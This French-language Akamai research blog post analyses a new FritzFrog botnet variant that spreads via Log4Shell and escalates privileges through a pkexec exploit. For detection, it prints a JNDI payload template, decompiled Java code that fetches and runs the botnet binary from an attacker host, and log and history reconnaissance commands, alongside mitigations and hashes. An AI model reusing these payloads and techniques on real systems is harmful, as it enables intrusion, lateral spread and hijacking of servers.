Vous avez besoin du Cloud Computing ? Commencez dès maintenant

Frog4Shell — Le botnet FritzFrog complète son arsenal avec les vulnérabilités One Day

Ori David

écrit par

Ori David

February 01, 2024

Ori David

écrit par

Ori David

Ori David is a Security Researcher at Akamai. His research is focused on offensive security, malware analysis, and threat hunting. 

Le Security Intelligence Group d'Akamai a découvert une nouvelle variante du botnet FritzFrog, qui exploite la vulnérabilité Log4Shell, divulguée en 2021.

Commentaires éditoriaux et additionnels de Tricia Howard

Synthèse

  • Le Security Intelligence Group d'Akamai a découvert une nouvelle variante du botnet FritzFrog, qui exploite la vulnérabilité Log4Shell, divulguée en 2021.

  • Au fil des ans, nous avons assisté à plus de 20 000 attaques FritzFrog, causant plus de 1 500 victimes.

  • Ce logiciel malveillant infecte les serveurs Internet en piratant les identifiants SSH faibles par force brute. Les nouvelles variantes lisent désormais plusieurs fichiers système sur les hôtes compromis afin de détecter les cibles potentielles de cette attaque qui ont de grandes chances d'être vulnérables.

  • La vulnérabilité est exploitée par force brute, en tentant de cibler un maximum d'applications Java vulnérables.

  • Désormais, le logiciel malveillant inclut également un module pour exploiter la vulnérabilité CVE-2021-4034et procéder à une élévation des privilèges dans le polkit Linux. Ce module permet au logiciel malveillant de s'exécuter en tant que root sur des serveurs vulnérables.

  • Dans cet article de blog, nous proposons des indicateurs de compromission et des mesures d'atténuation supplémentaires pour vous aider à prévenir les infections par FritzFrog.

Contexte de FritzFrog

Akamai surveille en permanence les menaces via son réseau mondial de capteurs, y compris les menaces que nous avons découvertes précédemment. Parmi celles-ci se trouve le botnet FritzFrog (identifié à l'origine en 2020), un botnet Golang poste à poste sophistiqué, compilé pour cibler les machines AMD et ARM. Le logiciel malveillant fait l'objet de mises à jour régulières et a évolué au fil des ans, avec de nouvelles fonctionnalités améliorées.

FritzFrog pirate les identifiants SSH par force brute, et a ainsi compromis des milliers de cibles au fil des ans. Chaque hôte compromis intègre le réseau de FritzFrog : il communique avec les postes infectés pour partager des informations, des charges utiles et des configurations.

Grâce à une maintenance régulière, le logiciel malveillant ajoute de nombreuses fonctionnalités intéressantes à son arsenal, notamment celles dont nous discuterons dans cet article de blog, telles que l'exploitation Log4Shell. Par exemple, il évite d'affecter le disque pour limiter les possibilités de détection, permet la communication sur le réseau TOR et dispose même d'un module « antivirus » qui élimine les logiciels malveillants concurrents.

Utilisation de Log4Shell comme vecteur d'infection

Le piratage des identifiants SSH par force brute était jusqu'à présent le seul vecteur d'infection de FritzFrog. Cependant, les versions récentes du logiciel malveillant en incluent maintenant un nouveau : l'exploitation de Log4Shell , également appelé « Frog4Shell ».

La vulnérabilité Log4Shell a été initialement identifiée en décembre 2021, ce qui a entraîné le développement et l'application de nombreux correctifs dans tous les secteurs durant des mois. Même aujourd'hui, deux ans plus tard, de nombreuses applications Internet sont encore vulnérables à cette faille.

La vulnérabilité des ressources Internet constitue un sérieux problème, mais FritzFrog représente également un risque pour un autre type de ressources : les hôtes internes. Lorsque la vulnérabilité a été découverte pour la première fois, les applications Internet ont été prioritaires pour l'application de correctifs, en raison de leur risque important de compromission. En revanche, les machines internes, moins susceptibles d'être exploitées, ont souvent été négligées et n'ont pas fait l'objet de correctifs : une circonstance dont FritzFrog a su tirer profit.

Pour continuer à se propager efficacement, le logiciel malveillant tente de cibler tous les hôtes des réseaux internes en appelant la fonction net__Interface_Addrs afin d'identifier les sous-réseaux accessibles et de cibler les adresses qu'ils contiennent. Dans la figure 1, nous pouvons voir que le logiciel malveillant tente de se connecter à toutes les adresses du réseau local.

Dans la figure 1, nous pouvons voir que le logiciel malveillant tente de se connecter à toutes les adresses du réseau local. Figure 1 : FritzFrog analyse le réseau local pour identifier les cibles

Cela signifie que, même si les applications Internet « de premier plan » ont été corrigées, la violation de toute ressource du réseau par FritzFrog peut exposer les ressources internes non corrigées au risque d'exploitation.

FritzFrog identifie les cibles Log4Shell potentielles en recherchant des serveurs HTTP sur les ports 8080, 8090, 8888 et 9000. Pour déclencher cette vulnérabilité, l'attaquant doit forcer l'application log4j vulnérable à enregistrer des données contenant une charge utile (Tableau 1) :

  ${jndi:ldap://<attacker_address>/<payload>}

Tableau 1 : Exemple de charge utile Log4Shell

Cette charge utile, mal analysée par la bibliothèque vulnérable log4j, force l'application Java à se connecter au serveur LDAP indiqué dans « attacker_address », à y télécharger une classe Java et à l'exécuter (figure 2).

Cette charge utile, mal analysée par la bibliothèque vulnérable log4j, force l'application Java à se connecter au serveur LDAP indiqué dans « attacker_address », à y télécharger une classe Java et à l'exécuter (figure 2). Figure 2 : Flux d'exploitation général Log4Shell

FritzFrog tente d'exploiter cette vulnérabilité en injectant la charge utile via des en-têtes HTTP (figure 3). Il le fait d'une manière intéressante : plutôt que d'essayer de cibler chirurgicalement un en-tête HTTP spécifique, FritzFrog les cible à peu près tous.

FritzFrog tente d'exploiter cette vulnérabilité en injectant la charge utile via des en-têtes HTTP (figure 3). Figure 3 : Exploitation Log4Shell de FritzFrog intégrée dans divers en-têtes HTTP

FritzFrog envoie la charge utile Log4Shell dans de nombreux en-têtes HTTP, en espérant qu'au moins un d'entre eux soit enregistré par l'application. Cette approche d'exploitation par force brute vise à être une exploitation Log4Shell générique pouvant affecter une grande variété d'applications.

La charge utile injectée illustrée à la figure 3 permet à l'application de se reconnecter à l'adresse IP de FritzFrog : le logiciel malveillant héberge son propre serveur LDAP, qu'elle utilise pour distribuer la classe Java malveillante. Lors de l'exécution, la classe Java se connecte à la machine attaquante via HTTP pour télécharger le binaire du logiciel malveillant hébergé sous le nom de « robots.txt » (tableau 2).

  String ff_host_http_server_address = ff_host_http_server_address.trim();
  payload_url = new URL("http://" + ff_host_http_server_address + "/" + 
  ff_username + "/robots.txt");
  payload_url_stream = payload_url.openStream();

Tableau 2 : Charge utile Java Log4Shell décompilée téléchargeant le binaire FritzFrog

Le fichier « robots.txt » est enregistré sous le nom « ifconfig ». La classe Java exécute alors le binaire ifconfig et supprime le fichier (tableau 3).

  FileOutputStream ff_payload_file = new FileOutputStream(paths[counter] + "ifconfig");
  ff_payload_file.write(var2.toByteArray());
  ff_payload_file.close();
  ff_payload_file_exec = new File(paths[counter] + "ifconfig");
  ff_payload_file_exec.setExecutable(true);
  Process ff_proc = Runtime.getRuntime().exec(paths[counter] + "ifconfig init " + var9 + ":22 " + ff_username + " exploit_log4shell");
  if (ff_proc.waitFor() == 0) {
    ff_payload_file_exec.delete();
    return;
}

Tableau 3 : Charge utile Java Log4Shell décompilée exécutant le binaire FritzFrog

La figure 4 illustre le flux d'exploitation Log4Shell utilisé par FritzFrog.

La figure 4 illustre le flux d'exploitation Log4Shell utilisé par FritzFrog. Figure 4 : Processus d'exploitation Log4Shell de FritzFrog

Méthodes de détection de cibles SSH

Outre l'exploitation Log4Shell, FritzFrog a également amélioré sa capacité à identifier des cibles pour son principal vecteur d'infection, le piratage d'identifiants SSH par force brute. Tout en continuant à cibler des adresses IP générées de manière aléatoire, FritzFrog va maintenant tenter d'identifier des cibles SSH spécifiques en énumérant plusieurs journaux système sur chacune de ses victimes.

Journaux d'authentification

Les fichiers Linux auth.log contiennent, entre autres, des informations sur les connexions à la machine. FritzFrog cible les clients actifs dans le réseau en scannant ces journaux et en recherchant des adresses IP. Pour accéder aux données, le programme malveillant exécute les commandes suivantes :

cat /var/log/auth*

zcat /var/log/auth*

Ces commandes génèrent le contenu de tous les fichiers journaux en texte clair et compressé.

Hôtes SSH connus

Lorsqu'un hôte se connecte à un serveur SSH distant, les informations de connexion sont automatiquement enregistrées dans le fichier ~/.ssh/known_hosts . FritzFrog extrait les adresses de ces hôtes et les cible.

Cela fournit au logiciel malveillant une liste de serveurs SSH actifs et accessibles. De plus, comme ces serveurs sont souvent gérés par le même propriétaire que le serveur compromis, ils peuvent également partager un mot de passe faible similaire.

Fichier historique

Toutes les commandes exécutées sur les systèmes Linux sont enregistrées dans un journal spécial appelé fichier historique. FritzFrog tente d'identifier les connexions SSH et SCP précédentes en exécutant la commande suivante :

history | grep -E \"(scp|ssh)\"

FritzFrog extrait ensuite les adresses IP de ces commandes et les cible. Comme pour le fichier known_hosts , cela permet d'obtenir une liste de serveurs SSH actifs et accessibles.

Élévation des privilèges

Un autre changement que nous avons observé a été l'ajout d'une capacité d'élévation des privilèges au logiciel malveillant. Lors de son exécution initiale, FritzFrog vérifie les autorisations de son processus. Si l'utilisateur exécutant n'est pas un utilisateur root, la fonction « main_RunBlasty » est appelée (figure 5).

 Si l'utilisateur exécutant n'est pas un utilisateur root, la fonction « main_RunBlasty » est appelée (figure 5). Figure 5 : FritzFrog détermine que le processus n'est pas exécuté en tant que root et exécute la fonction « main_RunBlasty »

La fonction « RunBlasty » commence par l'exécution de la commande « which », un utilitaire qui permet de localiser le chemin complet des autres commandes sur le système (figure 6).

La fonction « RunBlasty » commence par exécuter la commande « which », un utilitaire qui permet de localiser le chemin complet des autres commandes sur le système (figure 6). Figure 6 : Exécution de la commande FritzFrog « which »

Nous pouvons voir que le logiciel malveillant tente de trouver l'emplacement du binaire pkexec , à la recherche de vulnérabilités potentielles.

Le logiciel malveillant extrait ensuite deux fichiers qui sont intégrés dans son propre exécutable (figure 7). Les fichiers sont stockés sous forme de chaînes, qui sont des fichiers gzippés encodés en Base64. Les fichiers extraits sont appelés blasty et payload.so.

Le logiciel malveillant extrait ensuite deux fichiers qui sont intégrés dans son propre exécutable (figure 7). Les fichiers sont stockés sous forme de chaînes, qui sont des fichiers gzippés encodés en Base64. Les fichiers extraits sont appelés blasty et payload.so. Figure 7 : Extraction des fichiers intégrés dans le binaire du logiciel malveillant

Après avoir créé les fichiers, FritzFrog exécute blasty , un ELF écrit en C. Si nous observons son code, nous voyons qu'il est très simple : une interaction avec les variables d'environnement, suivie de l'exécution de pkexec (Figure 8).

Après avoir créé les fichiers, FritzFrog exécute blasty, un ELF qui a été écrit en C. Si nous observons son code, nous voyons qu'il est très simple : une interaction avec les variables d'environnement, suivie de l'exécution de pkexec (figure 8). Figure 8 : Code blasty désassemblé

La recherche de ces chaînes nous mène immédiatement à ce code d'exploitation pour CVE-2021-4034. Cette vulnérabilité dans le composant du polkit Linux a été divulguée par Qualys en 2022et permettait potentiellement l'élévation des privilèges sur n'importe quelle machine Linux exécutant le polkit. Ce dernier étant installé par défaut sur la plupart des distributions Linux, de nombreuses machines non corrigées sont encore vulnérables à cette CVE aujourd'hui.

L'exploitation fonctionne en abusant du fait que pkexec est un programme SUID, c'est-à-dire qu'il s'exécute avec des privilèges root, même lorsqu'il est exécuté par un utilisateur disposant de privilèges limités. Cette vulnérabilité permet de forcer pkexec pour charger et exécuter une bibliothèque contrôlée par l'attaquant, afin d'exécuter le code en tant que root.

Blasty exploite cette vulnérabilité en chargeant pkexec et en exécutant payload.so. Comme nous pouvons le voir dans la figure 9, cette bibliothèque définit l'uid et le gid du processus à 0 (« root »), et exécute le binaire FritzFrog root_update .

Comme nous pouvons le voir dans la figure 9, cette bibliothèque définit l'uid et le gid du processus à 0 (« root »), et exécute root_update, le binaire FritzFrog. Figure 9 : payload.so exécutant FritzFrog en tant que root

Autre fait intéressant : blasty et payload.so sont tous deux compilés pour l'architecture amd64, même pour les variantes de FritzFrog qui s'exécutent sur ARM. Cela signifie que l'exploitation ne fonctionnera pas sur les machines qui ne possèdent pas un processeur AMD64.

Contournement des mesures de défense

FritzFrog continue à utiliser des tactiques pour rester caché et éviter d'être détecté. En particulier, il cherche à éviter de déposer des fichiers sur le disque dans la mesure du possible. Les développeurs utilisent deux fonctionnalités Linux pour y parvenir : /dev/shm et memfd_create.

/dev/shm

La première technique utilise le dossier /dev/shm (avec shm /Shared Memory, « mémoire partagée »), un répertoire visant à garantir une communication efficace entre les différents processus du système (figure 10). Bien qu'il semble être un dossier de système de fichiers normal, /dev/shm est en fait mappé directement sur la RAM, et tous les fichiers qui y sont créés ne touchent jamais réellement le disque.

FritzFrog utilise ce dossier pour l'exécution sans fichier en écrivant des fichiers et en les exécutant à partir de /dev/shm. Pour surveiller cette activité, nous pouvons exécuter le logiciel malveillant et utiliser l'utilitaire inotifywait pour inspecter les opérations sur les fichiers dans /dev/shm. Nous voyons que le logiciel malveillant écrit plusieurs fichiers dans ce répertoire. Par exemple, dans la figure 8, nous pouvons voir que le logiciel malveillant écrit tous les fichiers d'exploitation pkexec dans /dev/shm avant de les exécuter.

La première technique utilise le dossier /dev/shm (pour « mémoire partagée »), un répertoire visant à garantir une communication efficace entre les différents processus du système (figure 10). Figure 10 : Surveillance des événements d'accès aux fichiers de FritzFrog dans le répertoire /dev/shm

memfd_create

La seconde technique utilise la fonction memfd_create de la façon suivante :

memfd_create() crée un fichier anonyme et retourne un descripteur de fichier qui y fait référence. Le fichier se comporte comme un fichier normal et peut donc être modifié, tronqué, mappé en mémoire, etc.  Cependant, contrairement à un fichier ordinaire, il est stocké dans la RAM.

Ainsi, de la même manière que la technique précédente, cette méthode permet de créer un fichier sans toucher le disque. FritzFrog utilise cette technique lors de l'exécution de sa charge utile de minage (figure 11) : il écrit la charge utile dans un fichier anonyme créé par memfd_create et l'exécute.

FritzFrog utilise cette technique lors de l'exécution de sa charge utile de minage (figure 11). Il écrit la charge utile dans un fichier anonyme créé par memfd_create et l'exécute. Figure 11 : FritzFrog utilise memfd_create pour écrire la charge utile de minage dans un fichier anonyme

Atténuations

Nous recommandons les deux stratégies d'atténuation suivantes : la segmentation du réseau et la détection des tactiques, techniques et procédures couramment utilisées par les programmes malveillants.

  1. La segmentation du réseau permet de limiter l'impact potentiel de FritzFrog en empêchant les mouvements latéraux. La segmentation logicielle permet d'assurer une défense efficace et durable, en toute simplicité.

  2. Nous avons publié un script de détection de FritzFrog à exécuter sur des serveurs SSH, qui recherche les indicateurs FritzFrog suivants :

    a. Processus en cours d'exécution nommés nginx, ifconfig, php-fpm, apache2 ou libexec, dont le fichier exécutable n'existe plus sur le système de fichiers (comme indiqué ci-dessous)

    b. Port d'écoute 1234

Conclusion

Le changement de tactique d'exploitation était une grande tendance chez les acteurs malveillants en 2023 : les exploitations One Day et Zero Day , largement utilisées, se sont avérées être l'une des méthodes les plus efficaces pour pénétrer les défenses des entreprises.

L'ajout de capacités d'exploitation à l'arsenal de FritzFrog montre un changement similaire dans cette direction. Comme nous l'avons vu dans cet article de blog, le nouveau vecteur d'infection qui exploite la vulnérabilité Log4Shell et le module d'exploitation pkexec sont deux ajouts qui illustrent ce changement. Nous pensons que cette tendance se poursuivra dans les prochaines versions de FritzFrog, et ce n'est sans doute qu'une question de temps avant que de nouvelles exploitations fassent leur apparition.

Le groupe SIG d'Akamai continuera de surveiller cette menace et d'autres menaces similaires et publiera ses conclusions. Pour suivre les dernières informations sur FritzFrog et découvrir nos prochains articles de recherche sur la sécurité, suivez-nous sur X (anciennement Twitter).

Indicateurs d'infection

Binaire FritzFrog

AMD

f77ab04ee56f3cd4845d4a80c5817a7de4f0561d976d87563deab752363a765d

ARM

fb3371dd45585763f1436afb7d64c202864d89ee6cbb743efac9dbf1cefcc291

Charge utile Log4Shell

52b11d3fa9206f51c601bd85cb480102fd938894b7274fac3d20915eb3af44f8

Exploitation pkexec « Blasty »

Blasty

85cb8ceda7d2a29bc7c6c96dd279c43559797a624fc15d44da53ca02379afe01

Payload.so

0b95071c657f23d4d8bfa39042ed8ad0a1c1bceb6b265c1237c12c4c0818c248



Ori David

écrit par

Ori David

February 01, 2024

Ori David

écrit par

Ori David

Ori David is a Security Researcher at Akamai. His research is focused on offensive security, malware analysis, and threat hunting.